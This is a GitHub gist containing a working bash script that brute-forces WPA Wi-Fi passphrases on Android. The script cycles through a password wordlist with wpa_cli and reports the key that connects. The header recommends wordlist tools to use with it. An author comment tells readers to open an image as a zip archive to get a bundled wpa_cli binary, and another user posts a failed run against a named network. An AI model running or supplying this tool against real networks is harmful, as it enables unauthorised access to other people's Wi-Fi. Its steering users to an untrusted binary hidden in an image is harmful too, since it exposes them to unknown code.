Skip to content

Instantly share code, notes, and snippets.

@Celestial-intelligence
Last active March 16, 2024 20:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Celestial-intelligence/b2ef1495554a10f76e6c2e9be9230c36 to your computer and use it in GitHub Desktop.
Save Celestial-intelligence/b2ef1495554a10f76e6c2e9be9230c36 to your computer and use it in GitHub Desktop.
Bash script to BruteForce Wi-Fi networks (WPA-KEY) without external adapter or monitor mode on Android devices. Will add feature to brute WPS too in the future.
#!/bin/bash
# ATTENTION!!!
# Highly recommended to use with https://github.com/beardache/WiFiMap or https://forums.kali.org/showthread.php?23080-adstar-Wordlist-Generator-v1-0 (this one gives passwords quick right from stdout ;)
# Attached version of wpa_cli binary was compiled for armv7 architecture. However you can find your architecture version in the internet.
# Forked from https://github.com/rasta-mouse/Mjolnir
### text colours ###
red='\e[0;31m'
green='\e[0;32m'
blue='\e[0;34m'
nc='\e[0m'
### art ###
echo '
__ __ _ _ _ _ _
| \/ (_(_) (_| | (_)
| \ / |_ ___ | |_ __ _ _ __
| |\/| | |/ _ \| | _ \| | __|
| | | | | (_) | | | | | | |
|_| |_| |\___/|_|_| |_|_|_|
_/ |
|__/
v1
'
### input & variables ###
loc=/tmp/wpa_supplicant.conf
echo -n "Target ESSID: "
read ssid
if [ -z "$ssid" ]; then
echo -e "${red}[x]${nc} ESSID required."
exit 1
fi
echo -n "Password List (full path): "
read list
if [ ! -f "$list" -o -z "$list" ]; then
echo -e "${red}[x]${nc} File not found."
exit 1
fi
echo -n "Wireless Interface (e.g. wlan0): "
read int
if [ -z "$int" ]; then
echo -e "${red}[x]${nc} Interface required."
exit 1
fi
echo ""
echo -e "${blue}[-]${nc} Launching..."
psk=$(cat $list)
### functions ###
function killSup {
echo -e "${blue}[-]${nc} Killing instances of wpa_supplicant"
killall wpa_supplicant > /dev/null 2>&1
}
function prepConf {
echo -e "${blue}[-]${nc} Prepping wpa_supplicant.conf"
echo ctrl_interface=/var/run/wpa_supplicant > $loc
}
function prepSup {
# use nl80211 if available. it's much faster
if [ "`wpa_supplicant | grep -o nl80211`" ]; then
driver='nl80211'
else
driver='wext'
fi
wpa_supplicant -B -D${driver} -i${int} -c$loc > /dev/null 2>&1
pid=$(ps aux | grep [D]${driver} | awk '{ print $2 }')
echo -e "${blue}[-]${nc} Daemonising wpa_supplicant (PID "$pid")"
}
function clearNetworks {
echo -e "${blue}[-]${nc} Purging network list"
for i in `wpa_cli -i${int} list_networks | grep ^[0-9] | cut -f1`; do
wpa_cli -i${int} remove_network $i > /dev/null 2>&1
done
}
function addNetwork {
echo -e "${blue}[-]${nc} Adding network entry for ${ssid}"
wpa_cli -i${int} add_network > /dev/null 2>&1
wpa_cli -i${int} set_network 0 auth_alg OPEN > /dev/null 2>&1
wpa_cli -i${int} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
wpa_cli -i${int} set_network 0 proto RSN > /dev/null 2>&1
wpa_cli -i${int} set_network 0 mode 0 > /dev/null 2>&1
wpa_cli -i${int} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1
}
function mainGuess {
echo -e "${blue}[-]${nc} Bruteforcing ${ssid}"
for psk in `cat $list`; do
echo Trying "${psk}"
wpa_cli -i${int} set_network 0 psk '"'${psk}'"' > /dev/null 2>&1
wpa_cli -i${int} select_network 0 > /dev/null 2>&1
wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
wpa_cli -i${int} reassociate > /dev/null 2>&1
for i in {1..12}; do
netStatus=$(wpa_cli -i${int} status | grep wpa_state | cut -d"=" -f2)
if [ "$netStatus" == "COMPLETED" ]; then
echo -e "${green}[+] ${nc}$ssid: $psk"
return
fi
sleep 1
done
done
}
function cleanUp {
echo -e "${blue}[-]${nc} Cleaning up..."
killall wpa_supplicant > /dev/null 2>&1
killall wpa_cli > /dev/null 2>&1
rm $loc > /dev/null 2>&1
}
killSup
prepConf
prepSup
clearNetworks
addNetwork
mainGuess &
wait
cleanUp
@Celestial-intelligence
Copy link
Author

Celestial-intelligence commented Jan 14, 2019

                 DOWNLOAD AND OPEN THIS IMAGE AS ZIP-ARCHIVE  
                         WPA_CLI BINARY IS INSIDE

wpa_cli

@Robin6464
Copy link

Robin6464 commented Nov 1, 2021

don't work on android in termux

root@localhost:~# ./mjolnir.sh

Target ESSID: NETIASPOT-2.4GHz-B9DR
Password List (full path): dict.txt
Wireless Interface (e.g. wlan0): wlan0

[-] Launching...
[-] Killing instances of wpa_supplicant
[-] Prepping wpa_supplicant.conf
[-] Daemonising wpa_supplicant (PID )
[-] Purging network list
Failed to connect to non-global ctrl_ifname: wlan0 error: No such file or directory
[-] Adding network entry for NETIASPOT-2.4GHz-B9DR
[-] Bruteforcing NETIASPOT-2.4GHz-B9DR
Trying uuuuuuuuuiiiiuuu
Failed to connect to non-global ctrl_ifname: wlan0 error: No such file or directory

android 7 arm64 rooted device, termux 0.117

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment